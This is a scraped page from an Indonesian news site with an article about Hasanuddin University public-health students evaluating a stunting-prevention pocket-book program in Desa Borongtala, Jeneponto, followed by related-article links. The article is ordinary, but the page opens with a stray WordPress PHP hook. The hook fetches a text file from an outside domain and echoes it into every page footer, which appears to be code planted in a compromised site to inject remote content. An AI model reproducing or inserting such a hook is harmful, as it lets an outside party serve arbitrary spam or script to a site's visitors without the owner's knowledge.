function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Dari Kampus ke Desa: Mahasiswa PBL III FKM Unhas Kawal Edukasi Stunting melalui Buku Saku di Desa Borongtala - Suluh Nusantara

Home / Uncategorized

Jumat, 27 Juni 2025 - 23:43 WIB

Dari Kampus ke Desa: Mahasiswa PBL III FKM Unhas Kawal Edukasi Stunting melalui Buku Saku di Desa Borongtala

Jeneponto, 27 Juni 2025 — Mahasiswa Posko 25 Praktik Belajar Lapangan (PBL) III Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) melaksanakan kegiatan evaluasi terhadap program intervensi kesehatan masyarakat yang berlangsung di Desa Borongtala, Kecamatan Tamalatea, Kabupaten Jeneponto. Evaluasi ini merupakan kelanjutan dari kegiatan PBL II, yang sebelumnya telah melaksanakan intervensi promosi kesehatan bertema “Pembagian Buku Saku Cegah Stunting untuk Ibu Hamil dan Ibu Baduta.”

Fokus utama dari evaluasi ini adalah menilai perubahan tingkat pengetahuan partisipan setelah intervensi dilakukan, khususnya mengenai pencegahan stunting. Proses evaluasi dilakukan secara langsung dengan metode door to door ke rumah-rumah partisipan yang telah menerima buku saku sebelumnya. Selama kunjungan, tim mengevaluasi pemahaman partisipan melalui pengisian post-test dan memeriksa kondisi fisik buku saku, sekaligus memastikan bahwa materi dalam buku telah dibaca dan dipahami.

Hasil evaluasi menunjukkan adanya peningkatan pemahaman yang signifikan pada sebagian besar partisipan. Mayoritas ibu hamil dan ibu baduta menunjukkan pemahaman yang lebih baik mengenai praktik pencegahan stunting dibandingkan saat sebelum intervensi. Hal ini menegaskan bahwa media edukasi sederhana seperti buku saku dapat menjadi alat yang efektif dalam memperkuat kesadaran dan pengetahuan mengenai pentingnya gizi dan perawatan selama kehamilan serta masa awal kehidupan anak. Meski demikian, masih ada sebagian kecil partisipan yang belum menunjukkan perubahan berarti. Hal ini dapat disebabkan oleh beberapa kendala seperti keterbatasan waktu, tingkat literasi, atau kesulitan memahami isi buku. Oleh karena itu, dibutuhkan pendekatan tambahan yang lebih inklusif agar seluruh kelompok sasaran dapat memperoleh manfaat secara merata.

Baca Juga  Kolaborasi FKM Unhas dengan UPM Malaysia dalam Pengolahan Minyak Jelantah Menjadi Sabun di Kampung Kera-Kera

Program ini selaras dengan Tujuan Pembangunan Berkelanjutan (SDGs) poin ke-3, yaitu menjamin kehidupan yang sehat dan mendorong kesejahteraan bagi semua usia, terutama dalam upaya penurunan angka stunting pada balita.

Tim Posko 25 terdiri atas dosen pembimbing, A. Muflihah Darwis, SKM., M.Kes., yang membimbing tujuh mahasiswa dari berbagai departemen di Fakultas Kesehatan Masyarakat Universitas Hasanuddin. Mahasiswa tersebut meliputi Nur Fadillah Az Zahra dari Departemen Manajemen Rumah Sakit; Sahnas Azzahra dan Kayla Karina Putri dari Departemen Keselamatan dan Kesehatan Kerja; Irene Eunike Lebang dan A. Adriyanti dari Departemen Administrasi dan Kebijakan Kesehatan; Nabilah Azzahra A. Husein dari Departemen Epidemiologi; serta Muh. Fikri Haikal dari Departemen Kesehatan Lingkungan. Kolaborasi lintas bidang ini memungkinkan pendekatan yang lebih komprehensif dalam pelaksanaan dan evaluasi intervensi kesehatan di masyarakat.

Baca Juga  Pemasangan Poster Terkait 6 Langkah Cuci Tangan Pakai Sabun (CTPS) dengan Air Mengalir Yang Baik dan Benar Pada Ibu Baduta di Kelurahan Tonrokassi Timur, Kecamatan Tamalatea, Kabupaten Jeneponto

Kegiatan ini memperlihatkan bahwa pendekatan promotif dan edukatif berbasis media cetak yang sederhana dapat dijadikan strategi pencegahan stunting yang efektif, terjangkau, dan berkelanjutan. Mahasiswa FKM Unhas berharap intervensi ini dapat menjadi contoh praktik baik bagi wilayah lain, serta memicu terbentuknya kolaborasi yang lebih erat antara sektor pemerintah daerah, kesehatan, dan masyarakat.

Keberhasilan program seperti ini perlu terus didorong melalui pelibatan aktif tokoh masyarakat, kader kesehatan, dan dukungan kebijakan dari pemerintah daerah, sehingga pesan-pesan kesehatan dapat tersampaikan secara luas dan merata. Mahasiswa FKM Unhas juga mendorong agar pihak pustu dan puskesmas terus melanjutkan edukasi tentang pencegahan stunting sebagai bagian dari program kesehatan masyarakat yang menyeluruh dan berkesinambungan.

Share :

Baca Juga

Uncategorized

Prodi S2 K3 FKM Unhas Adakan Kegiatan Penerimaan Mahasiswa Baru Tahun 2025

Uncategorized

Dialog Sehat Untuk Generasi Hebat

Uncategorized

Mahasiswa FKM Unhas Angkatan 2023 Melaksanakan PBL I di Desa Marioritengnga: Identifikasi dan Penentuan Prioritas Masalah Kesehatan Masyarakat Melalui Pendekatan Partisipatif

Uncategorized

Gerakan Pallantikang Bebas Stunting: Mahasiswa Posko 18 FKM Unhas Ajak Masyarakat melalui Edukasi Sehati dan Gemilang di Desa Pallantikang, Kabupaten Jeneponto

Uncategorized

“Mahasiswa Posko 30 FKM Unhas Sosialisasi Anemia & Beri TTD di SMAN 2 Jeneponto untuk Cegah Stunting”

Uncategorized

Waste to Worth : Expo & Workshop Pengolahan Sampah

Uncategorized

Mahasiswa KKN-PK Angkatan 67 Unhas Wujudkan ‘Gigi Sehat Ceria’ Lewat Aksi Edukasi dan Sikat Gigi Bersama Anak SD Negeri 1 Batang, Kecamatan Batang, Kabupaten Jeneponto

Uncategorized

Mahasiswa PBL II Posko 15 FKM UNHAS Sukses Gelar Penyuluhan dan Live Cooking MP-ASI “SUJATECI” untuk Edukasi Ibu-Ibu di Desa Jenetallasa, Jeneponto